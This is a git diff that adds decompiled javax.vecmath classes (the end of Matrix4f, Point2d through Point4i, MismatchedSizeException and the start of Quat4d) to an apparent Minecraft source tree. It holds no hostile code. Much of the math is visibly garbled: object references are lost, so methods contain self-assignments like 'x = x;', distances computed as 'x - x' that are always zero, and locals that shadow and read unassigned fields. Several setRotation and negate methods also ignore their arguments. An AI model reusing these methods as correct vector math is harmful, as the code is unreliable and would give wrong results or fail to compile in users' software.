+    float z = m20 * x + m21 * y + m22 * z + m23 * w;
+    
+    w = (m30 * x + m31 * y + m32 * z + m33 * w);
+    
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Tuple4f vec)
+  {
+    float x = m00 * x + m01 * y + m02 * z + m03 * w;
+    
+    float y = m10 * x + m11 * y + m12 * z + m13 * w;
+    
+    float z = m20 * x + m21 * y + m22 * z + m23 * w;
+    
+    w = (m30 * x + m31 * y + m32 * z + m33 * w);
+    
+    x = x;
+    y = y;
+    z = z;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Point3f point, Point3f pointOut)
+  {
+    float x = m00 * x + m01 * y + m02 * z + m03;
+    float y = m10 * x + m11 * y + m12 * z + m13;
+    z = (m20 * x + m21 * y + m22 * z + m23);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Point3f point)
+  {
+    float x = m00 * x + m01 * y + m02 * z + m03;
+    float y = m10 * x + m11 * y + m12 * z + m13;
+    z = (m20 * x + m21 * y + m22 * z + m23);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Vector3f normal, Vector3f normalOut)
+  {
+    float x = m00 * x + m01 * y + m02 * z;
+    float y = m10 * x + m11 * y + m12 * z;
+    z = (m20 * x + m21 * y + m22 * z);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+  public final void transform(Vector3f normal)
+  {
+    float x = m00 * x + m01 * y + m02 * z;
+    float y = m10 * x + m11 * y + m12 * z;
+    z = (m20 * x + m21 * y + m22 * z);
+    x = x;
+    y = y;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Matrix3d m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)(m00 * tmp_scale[0]));
+    m01 = ((float)(m01 * tmp_scale[1]));
+    m02 = ((float)(m02 * tmp_scale[2]));
+    
+    m10 = ((float)(m10 * tmp_scale[0]));
+    m11 = ((float)(m11 * tmp_scale[1]));
+    m12 = ((float)(m12 * tmp_scale[2]));
+    
+    m20 = ((float)(m20 * tmp_scale[0]));
+    m21 = ((float)(m21 * tmp_scale[1]));
+    m22 = ((float)(m22 * tmp_scale[2]));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Matrix3f m1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)(m00 * tmp_scale[0]));
+    m01 = ((float)(m01 * tmp_scale[1]));
+    m02 = ((float)(m02 * tmp_scale[2]));
+    
+    m10 = ((float)(m10 * tmp_scale[0]));
+    m11 = ((float)(m11 * tmp_scale[1]));
+    m12 = ((float)(m12 * tmp_scale[2]));
+    
+    m20 = ((float)(m20 * tmp_scale[0]));
+    m21 = ((float)(m21 * tmp_scale[1]));
+    m22 = ((float)(m22 * tmp_scale[2]));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Quat4f q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)((1.0F - 2.0F * y * y - 2.0F * z * z) * tmp_scale[0]));
+    m10 = ((float)(2.0F * (x * y + w * z) * tmp_scale[0]));
+    m20 = ((float)(2.0F * (x * z - w * y) * tmp_scale[0]));
+    
+    m01 = ((float)(2.0F * (x * y - w * z) * tmp_scale[1]));
+    m11 = ((float)((1.0F - 2.0F * x * x - 2.0F * z * z) * tmp_scale[1]));
+    m21 = ((float)(2.0F * (y * z + w * x) * tmp_scale[1]));
+    
+    m02 = ((float)(2.0F * (x * z + w * y) * tmp_scale[2]));
+    m12 = ((float)(2.0F * (y * z - w * x) * tmp_scale[2]));
+    m22 = ((float)((1.0F - 2.0F * x * x - 2.0F * y * y) * tmp_scale[2]));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public final void setRotation(Quat4d q1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    m00 = ((float)((1.0D - 2.0D * y * y - 2.0D * z * z) * tmp_scale[0]));
+    m10 = ((float)(2.0D * (x * y + w * z) * tmp_scale[0]));
+    m20 = ((float)(2.0D * (x * z - w * y) * tmp_scale[0]));
+    
+    m01 = ((float)(2.0D * (x * y - w * z) * tmp_scale[1]));
+    m11 = ((float)((1.0D - 2.0D * x * x - 2.0D * z * z) * tmp_scale[1]));
+    m21 = ((float)(2.0D * (y * z + w * x) * tmp_scale[1]));
+    
+    m02 = ((float)(2.0D * (x * z + w * y) * tmp_scale[2]));
+    m12 = ((float)(2.0D * (y * z - w * x) * tmp_scale[2]));
+    m22 = ((float)((1.0D - 2.0D * x * x - 2.0D * y * y) * tmp_scale[2]));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void setRotation(AxisAngle4f a1)
+  {
+    double[] tmp_rot = new double[9];
+    double[] tmp_scale = new double[3];
+    
+    getScaleRotate(tmp_scale, tmp_rot);
+    
+    double mag = Math.sqrt(x * x + y * y + z * z);
+    if (mag < 1.0E-8D) {
+      m00 = 1.0F;
+      m01 = 0.0F;
+      m02 = 0.0F;
+      
+      m10 = 0.0F;
+      m11 = 1.0F;
+      m12 = 0.0F;
+      
+      m20 = 0.0F;
+      m21 = 0.0F;
+      m22 = 1.0F;
+    } else {
+      mag = 1.0D / mag;
+      double ax = x * mag;
+      double ay = y * mag;
+      double az = z * mag;
+      
+      double sinTheta = Math.sin(angle);
+      double cosTheta = Math.cos(angle);
+      double t = 1.0D - cosTheta;
+      
+      double xz = x * z;
+      double xy = x * y;
+      double yz = y * z;
+      
+      m00 = ((float)((t * ax * ax + cosTheta) * tmp_scale[0]));
+      m01 = ((float)((t * xy - sinTheta * az) * tmp_scale[1]));
+      m02 = ((float)((t * xz + sinTheta * ay) * tmp_scale[2]));
+      
+      m10 = ((float)((t * xy + sinTheta * az) * tmp_scale[0]));
+      m11 = ((float)((t * ay * ay + cosTheta) * tmp_scale[1]));
+      m12 = ((float)((t * yz - sinTheta * ax) * tmp_scale[2]));
+      
+      m20 = ((float)((t * xz - sinTheta * ay) * tmp_scale[0]));
+      m21 = ((float)((t * yz + sinTheta * ax) * tmp_scale[1]));
+      m22 = ((float)((t * az * az + cosTheta) * tmp_scale[2]));
+    }
+  }
+  
+
+
+
+
+
+  public final void setZero()
+  {
+    m00 = 0.0F;
+    m01 = 0.0F;
+    m02 = 0.0F;
+    m03 = 0.0F;
+    m10 = 0.0F;
+    m11 = 0.0F;
+    m12 = 0.0F;
+    m13 = 0.0F;
+    m20 = 0.0F;
+    m21 = 0.0F;
+    m22 = 0.0F;
+    m23 = 0.0F;
+    m30 = 0.0F;
+    m31 = 0.0F;
+    m32 = 0.0F;
+    m33 = 0.0F;
+  }
+  
+
+
+
+  public final void negate()
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    m03 = (-m03);
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    m13 = (-m13);
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+    m23 = (-m23);
+    m30 = (-m30);
+    m31 = (-m31);
+    m32 = (-m32);
+    m33 = (-m33);
+  }
+  
+
+
+
+
+
+  public final void negate(Matrix4f m1)
+  {
+    m00 = (-m00);
+    m01 = (-m01);
+    m02 = (-m02);
+    m03 = (-m03);
+    m10 = (-m10);
+    m11 = (-m11);
+    m12 = (-m12);
+    m13 = (-m13);
+    m20 = (-m20);
+    m21 = (-m21);
+    m22 = (-m22);
+    m23 = (-m23);
+    m30 = (-m30);
+    m31 = (-m31);
+    m32 = (-m32);
+    m33 = (-m33);
+  }
+  
+  private final void getScaleRotate(double[] scales, double[] rots) {
+    double[] tmp = new double[9];
+    tmp[0] = m00;
+    tmp[1] = m01;
+    tmp[2] = m02;
+    
+    tmp[3] = m10;
+    tmp[4] = m11;
+    tmp[5] = m12;
+    
+    tmp[6] = m20;
+    tmp[7] = m21;
+    tmp[8] = m22;
+    
+    Matrix3d.compute_svd(tmp, scales, rots);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    Matrix4f m1 = null;
+    try {
+      m1 = (Matrix4f)super.clone();
+    }
+    catch (CloneNotSupportedException e) {
+      throw new InternalError();
+    }
+    
+    return m1;
+  }
+  
+
+
+
+
+
+
+  public final float getM00()
+  {
+    return m00;
+  }
+  
+
+
+
+
+
+
+  public final void setM00(float m00)
+  {
+    this.m00 = m00;
+  }
+  
+
+
+
+
+
+
+  public final float getM01()
+  {
+    return m01;
+  }
+  
+
+
+
+
+
+
+  public final void setM01(float m01)
+  {
+    this.m01 = m01;
+  }
+  
+
+
+
+
+
+
+  public final float getM02()
+  {
+    return m02;
+  }
+  
+
+
+
+
+
+
+  public final void setM02(float m02)
+  {
+    this.m02 = m02;
+  }
+  
+
+
+
+
+
+
+  public final float getM10()
+  {
+    return m10;
+  }
+  
+
+
+
+
+
+
+  public final void setM10(float m10)
+  {
+    this.m10 = m10;
+  }
+  
+
+
+
+
+
+
+  public final float getM11()
+  {
+    return m11;
+  }
+  
+
+
+
+
+
+
+  public final void setM11(float m11)
+  {
+    this.m11 = m11;
+  }
+  
+
+
+
+
+
+
+  public final float getM12()
+  {
+    return m12;
+  }
+  
+
+
+
+
+
+
+  public final void setM12(float m12)
+  {
+    this.m12 = m12;
+  }
+  
+
+
+
+
+
+
+  public final float getM20()
+  {
+    return m20;
+  }
+  
+
+
+
+
+
+
+  public final void setM20(float m20)
+  {
+    this.m20 = m20;
+  }
+  
+
+
+
+
+
+
+  public final float getM21()
+  {
+    return m21;
+  }
+  
+
+
+
+
+
+
+  public final void setM21(float m21)
+  {
+    this.m21 = m21;
+  }
+  
+
+
+
+
+
+
+  public final float getM22()
+  {
+    return m22;
+  }
+  
+
+
+
+
+
+
+  public final void setM22(float m22)
+  {
+    this.m22 = m22;
+  }
+  
+
+
+
+
+
+
+  public final float getM03()
+  {
+    return m03;
+  }
+  
+
+
+
+
+
+
+  public final void setM03(float m03)
+  {
+    this.m03 = m03;
+  }
+  
+
+
+
+
+
+
+  public final float getM13()
+  {
+    return m13;
+  }
+  
+
+
+
+
+
+
+  public final void setM13(float m13)
+  {
+    this.m13 = m13;
+  }
+  
+
+
+
+
+
+
+  public final float getM23()
+  {
+    return m23;
+  }
+  
+
+
+
+
+
+
+  public final void setM23(float m23)
+  {
+    this.m23 = m23;
+  }
+  
+
+
+
+
+
+
+  public final float getM30()
+  {
+    return m30;
+  }
+  
+
+
+
+
+
+
+
+  public final void setM30(float m30)
+  {
+    this.m30 = m30;
+  }
+  
+
+
+
+
+
+
+  public final float getM31()
+  {
+    return m31;
+  }
+  
+
+
+
+
+
+
+  public final void setM31(float m31)
+  {
+    this.m31 = m31;
+  }
+  
+
+
+
+
+
+
+  public final float getM32()
+  {
+    return m32;
+  }
+  
+
+
+
+
+
+
+
+  public final void setM32(float m32)
+  {
+    this.m32 = m32;
+  }
+  
+
+
+
+
+
+
+  public final float getM33()
+  {
+    return m33;
+  }
+  
+
+
+
+
+
+
+  public final void setM33(float m33)
+  {
+    this.m33 = m33;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/MismatchedSizeException.java b/src/minecraft/javax/vecmath/MismatchedSizeException.java
new file mode 100644
index 0000000..fa1ba7d
--- /dev/null
+++ b/src/minecraft/javax/vecmath/MismatchedSizeException.java
@@ -0,0 +1,55 @@
+package javax.vecmath;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class MismatchedSizeException
+  extends RuntimeException
+{
+  public MismatchedSizeException() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public MismatchedSizeException(String str)
+  {
+    super(str);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point2d.java b/src/minecraft/javax/vecmath/Point2d.java
new file mode 100644
index 0000000..7ec0995
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point2d.java
@@ -0,0 +1,162 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point2d
+  extends Tuple2d
+  implements Serializable
+{
+  static final long serialVersionUID = 1133748791492571954L;
+  
+  public Point2d(double x, double y)
+  {
+    super(x, y);
+  }
+  
+
+
+
+
+
+  public Point2d(double[] p)
+  {
+    super(p);
+  }
+  
+
+
+
+
+
+  public Point2d(Point2d p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point2d(Point2f p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point2d(Tuple2d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Point2d(Tuple2f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+  public Point2d() {}
+  
+
+
+
+
+
+
+  public final double distanceSquared(Point2d p1)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    return dx * dx + dy * dy;
+  }
+  
+
+
+
+
+
+
+  public final double distance(Point2d p1)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    return Math.sqrt(dx * dx + dy * dy);
+  }
+  
+
+
+
+
+
+
+  public final double distanceL1(Point2d p1)
+  {
+    return Math.abs(x - x) + Math.abs(y - y);
+  }
+  
+
+
+
+
+
+
+  public final double distanceLinf(Point2d p1)
+  {
+    return Math.max(Math.abs(x - x), Math.abs(y - y));
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point2f.java b/src/minecraft/javax/vecmath/Point2f.java
new file mode 100644
index 0000000..79c3cd5
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point2f.java
@@ -0,0 +1,163 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point2f
+  extends Tuple2f
+  implements Serializable
+{
+  static final long serialVersionUID = -4801347926528714435L;
+  
+  public Point2f(float x, float y)
+  {
+    super(x, y);
+  }
+  
+
+
+
+
+
+  public Point2f(float[] p)
+  {
+    super(p);
+  }
+  
+
+
+
+
+
+  public Point2f(Point2f p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+  public Point2f(Point2d p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+
+  public Point2f(Tuple2d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+  public Point2f(Tuple2f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+  public Point2f() {}
+  
+
+
+
+
+
+
+  public final float distanceSquared(Point2f p1)
+  {
+    float dx = x - x;
+    float dy = y - y;
+    return dx * dx + dy * dy;
+  }
+  
+
+
+
+
+
+
+  public final float distance(Point2f p1)
+  {
+    float dx = x - x;
+    float dy = y - y;
+    return (float)Math.sqrt(dx * dx + dy * dy);
+  }
+  
+
+
+
+
+
+
+  public final float distanceL1(Point2f p1)
+  {
+    return Math.abs(x - x) + Math.abs(y - y);
+  }
+  
+
+
+
+
+
+
+  public final float distanceLinf(Point2f p1)
+  {
+    return Math.max(Math.abs(x - x), Math.abs(y - y));
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point2i.java b/src/minecraft/javax/vecmath/Point2i.java
new file mode 100644
index 0000000..d0adf8a
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point2i.java
@@ -0,0 +1,76 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point2i
+  extends Tuple2i
+  implements Serializable
+{
+  static final long serialVersionUID = 9208072376494084954L;
+  
+  public Point2i(int x, int y)
+  {
+    super(x, y);
+  }
+  
+
+
+
+
+  public Point2i(int[] t)
+  {
+    super(t);
+  }
+  
+
+
+
+
+
+  public Point2i(Tuple2i t1)
+  {
+    super(t1);
+  }
+  
+  public Point2i() {}
+}
diff --git a/src/minecraft/javax/vecmath/Point3d.java b/src/minecraft/javax/vecmath/Point3d.java
new file mode 100644
index 0000000..febb790
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point3d.java
@@ -0,0 +1,191 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point3d
+  extends Tuple3d
+  implements Serializable
+{
+  static final long serialVersionUID = 5718062286069042927L;
+  
+  public Point3d(double x, double y, double z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+
+  public Point3d(double[] p)
+  {
+    super(p);
+  }
+  
+
+
+
+
+
+  public Point3d(Point3d p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point3d(Point3f p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point3d(Tuple3f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Point3d(Tuple3d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+  public Point3d() {}
+  
+
+
+
+
+
+
+
+  public final double distanceSquared(Point3d p1)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    double dz = z - z;
+    return dx * dx + dy * dy + dz * dz;
+  }
+  
+
+
+
+
+
+
+
+
+  public final double distance(Point3d p1)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    double dz = z - z;
+    return Math.sqrt(dx * dx + dy * dy + dz * dz);
+  }
+  
+
+
+
+
+
+
+
+
+  public final double distanceL1(Point3d p1)
+  {
+    return Math.abs(x - x) + Math.abs(y - y) + Math.abs(z - z);
+  }
+  
+
+
+
+
+
+
+
+
+  public final double distanceLinf(Point3d p1)
+  {
+    double tmp = Math.max(Math.abs(x - x), Math.abs(y - y));
+    
+    return Math.max(tmp, Math.abs(z - z));
+  }
+  
+
+
+
+
+
+
+
+
+  public final void project(Point4d p1)
+  {
+    double oneOw = 1.0D / w;
+    x = (x * oneOw);
+    y = (y * oneOw);
+    z = (z * oneOw);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point3f.java b/src/minecraft/javax/vecmath/Point3f.java
new file mode 100644
index 0000000..fbd037c
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point3f.java
@@ -0,0 +1,194 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point3f
+  extends Tuple3f
+  implements Serializable
+{
+  static final long serialVersionUID = -8689337816398030143L;
+  
+  public Point3f(float x, float y, float z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+
+  public Point3f(float[] p)
+  {
+    super(p);
+  }
+  
+
+
+
+
+
+  public Point3f(Point3f p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point3f(Point3d p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point3f(Tuple3f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Point3f(Tuple3d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+  public Point3f() {}
+  
+
+
+
+
+
+
+
+
+  public final float distanceSquared(Point3f p1)
+  {
+    float dx = x - x;
+    float dy = y - y;
+    float dz = z - z;
+    return dx * dx + dy * dy + dz * dz;
+  }
+  
+
+
+
+
+
+
+
+
+  public final float distance(Point3f p1)
+  {
+    float dx = x - x;
+    float dy = y - y;
+    float dz = z - z;
+    return (float)Math.sqrt(dx * dx + dy * dy + dz * dz);
+  }
+  
+
+
+
+
+
+
+
+
+  public final float distanceL1(Point3f p1)
+  {
+    return Math.abs(x - x) + Math.abs(y - y) + Math.abs(z - z);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final float distanceLinf(Point3f p1)
+  {
+    float tmp = Math.max(Math.abs(x - x), Math.abs(y - y));
+    return Math.max(tmp, Math.abs(z - z));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void project(Point4f p1)
+  {
+    float oneOw = 1.0F / w;
+    x = (x * oneOw);
+    y = (y * oneOw);
+    z = (z * oneOw);
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point3i.java b/src/minecraft/javax/vecmath/Point3i.java
new file mode 100644
index 0000000..4db28b5
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point3i.java
@@ -0,0 +1,78 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point3i
+  extends Tuple3i
+  implements Serializable
+{
+  static final long serialVersionUID = 6149289077348153921L;
+  
+  public Point3i(int x, int y, int z)
+  {
+    super(x, y, z);
+  }
+  
+
+
+
+
+  public Point3i(int[] t)
+  {
+    super(t);
+  }
+  
+
+
+
+
+
+  public Point3i(Tuple3i t1)
+  {
+    super(t1);
+  }
+  
+  public Point3i() {}
+}
diff --git a/src/minecraft/javax/vecmath/Point4d.java b/src/minecraft/javax/vecmath/Point4d.java
new file mode 100644
index 0000000..2a098f2
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point4d.java
@@ -0,0 +1,226 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point4d
+  extends Tuple4d
+  implements Serializable
+{
+  static final long serialVersionUID = 1733471895962736949L;
+  
+  public Point4d(double x, double y, double z, double w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+
+  public Point4d(double[] p)
+  {
+    super(p);
+  }
+  
+
+
+
+
+
+  public Point4d(Point4d p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point4d(Point4f p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point4d(Tuple4f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Point4d(Tuple4d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Point4d(Tuple3d t1)
+  {
+    super(x, y, z, 1.0D);
+  }
+  
+
+
+
+
+
+
+
+
+  public Point4d() {}
+  
+
+
+
+
+
+
+
+  public final void set(Tuple3d t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = 1.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public final double distanceSquared(Point4d p1)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    double dz = z - z;
+    double dw = w - w;
+    return dx * dx + dy * dy + dz * dz + dw * dw;
+  }
+  
+
+
+
+
+
+
+
+
+  public final double distance(Point4d p1)
+  {
+    double dx = x - x;
+    double dy = y - y;
+    double dz = z - z;
+    double dw = w - w;
+    return Math.sqrt(dx * dx + dy * dy + dz * dz + dw * dw);
+  }
+  
+
+
+
+
+
+
+
+
+  public final double distanceL1(Point4d p1)
+  {
+    return Math.abs(x - x) + Math.abs(y - y) + Math.abs(z - z) + Math.abs(w - w);
+  }
+  
+
+
+
+
+
+
+
+  public final double distanceLinf(Point4d p1)
+  {
+    double t1 = Math.max(Math.abs(x - x), Math.abs(y - y));
+    double t2 = Math.max(Math.abs(z - z), Math.abs(w - w));
+    
+    return Math.max(t1, t2);
+  }
+  
+
+
+
+
+
+
+
+
+  public final void project(Point4d p1)
+  {
+    double oneOw = 1.0D / w;
+    x *= oneOw;
+    y *= oneOw;
+    z *= oneOw;
+    w = 1.0D;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point4f.java b/src/minecraft/javax/vecmath/Point4f.java
new file mode 100644
index 0000000..edf0e77
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point4f.java
@@ -0,0 +1,229 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point4f
+  extends Tuple4f
+  implements Serializable
+{
+  static final long serialVersionUID = 4643134103185764459L;
+  
+  public Point4f(float x, float y, float z, float w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+
+  public Point4f(float[] p)
+  {
+    super(p);
+  }
+  
+
+
+
+
+
+  public Point4f(Point4f p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point4f(Point4d p1)
+  {
+    super(p1);
+  }
+  
+
+
+
+
+
+  public Point4f(Tuple4f t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+  public Point4f(Tuple4d t1)
+  {
+    super(t1);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Point4f(Tuple3f t1)
+  {
+    super(x, y, z, 1.0F);
+  }
+  
+
+
+
+
+
+
+
+
+  public Point4f() {}
+  
+
+
+
+
+
+
+
+  public final void set(Tuple3f t1)
+  {
+    x = x;
+    y = y;
+    z = z;
+    w = 1.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public final float distanceSquared(Point4f p1)
+  {
+    float dx = x - x;
+    float dy = y - y;
+    float dz = z - z;
+    float dw = w - w;
+    return dx * dx + dy * dy + dz * dz + dw * dw;
+  }
+  
+
+
+
+
+
+
+
+
+  public final float distance(Point4f p1)
+  {
+    float dx = x - x;
+    float dy = y - y;
+    float dz = z - z;
+    float dw = w - w;
+    return (float)Math.sqrt(dx * dx + dy * dy + dz * dz + dw * dw);
+  }
+  
+
+
+
+
+
+
+
+
+  public final float distanceL1(Point4f p1)
+  {
+    return Math.abs(x - x) + Math.abs(y - y) + Math.abs(z - z) + Math.abs(w - w);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final float distanceLinf(Point4f p1)
+  {
+    float t1 = Math.max(Math.abs(x - x), Math.abs(y - y));
+    float t2 = Math.max(Math.abs(z - z), Math.abs(w - w));
+    
+    return Math.max(t1, t2);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void project(Point4f p1)
+  {
+    float oneOw = 1.0F / w;
+    x *= oneOw;
+    y *= oneOw;
+    z *= oneOw;
+    w = 1.0F;
+  }
+}
diff --git a/src/minecraft/javax/vecmath/Point4i.java b/src/minecraft/javax/vecmath/Point4i.java
new file mode 100644
index 0000000..f89b0cd
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Point4i.java
@@ -0,0 +1,79 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Point4i
+  extends Tuple4i
+  implements Serializable
+{
+  static final long serialVersionUID = 620124780244617983L;
+  
+  public Point4i(int x, int y, int z, int w)
+  {
+    super(x, y, z, w);
+  }
+  
+
+
+
+
+  public Point4i(int[] t)
+  {
+    super(t);
+  }
+  
+
+
+
+
+
+  public Point4i(Tuple4i t1)
+  {
+    super(t1);
+  }
+  
+  public Point4i() {}
+}
diff --git a/src/minecraft/javax/vecmath/Quat4d.java b/src/minecraft/javax/vecmath/Quat4d.java
new file mode 100644
index 0000000..879b1d8
--- /dev/null
+++ b/src/minecraft/javax/vecmath/Quat4d.java
@@ -0,0 +1,681 @@
+package javax.vecmath;
+
+import java.io.Serializable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Quat4d
+  extends Tuple4d
+  implements Serializable
+{
+  static final long serialVersionUID = 7577479888820201099L;
+  static final double EPS = 1.0E-12D;
+  static final double EPS2 = 1.0E-30D;
+  static final double PIO2 = 1.57079632679D;
+  
+  public Quat4d(double x, double y, double z, double w)
+  {
+    double mag = 1.0D / Math.sqrt(x * x + y * y + z * z + w * w);
+    this.x = (x * mag);
+    this.y = (y * mag);
+    this.z = (z * mag);
+    this.w = (w * mag);
+  }
+  
+
+
+
+
+
+
+  public Quat4d(double[] q)
+  {
+    double mag = 1.0D / Math.sqrt(q[0] * q[0] + q[1] * q[1] + q[2] * q[2] + q[3] * q[3]);
+    x = (q[0] * mag);
+    y = (q[1] * mag);
+    z = (q[2] * mag);
+    w = (q[3] * mag);
+  }
+  
+
+
+
+
+
+  public Quat4d(Quat4d q1)
+  {
+    super(q1);
+  }
+  
+
+
+
+
+  public Quat4d(Quat4f q1)
+  {
+    super(q1);
+  }
+  
+
+
+
+
+
+
+  public Quat4d(Tuple4f t1)
+  {
+    double mag = 1.0D / Math.sqrt(x * x + y * y + z * z + w * w);
+    x = (x * mag);
+    y = (y * mag);
+    z = (z * mag);
+    w = (w * mag);
+  }
+  
+
+
+
+
+
+
+
+  public Quat4d(Tuple4d t1)
+  {
+    double mag = 1.0D / Math.sqrt(x * x + y * y + z * z + w * w);
+    x = (x * mag);
+    y = (y * mag);
+    z = (z * mag);
+    w = (w * mag);
+  }
+  
+
+
+
+
+
+
+  public Quat4d() {}
+  
+
+
+
+
+
+
+  public final void conjugate(Quat4d q1)
+  {
+    x = (-x);
+    y = (-y);
+    z = (-z);
+    w = w;
+  }
+  
+
+
+
+
+
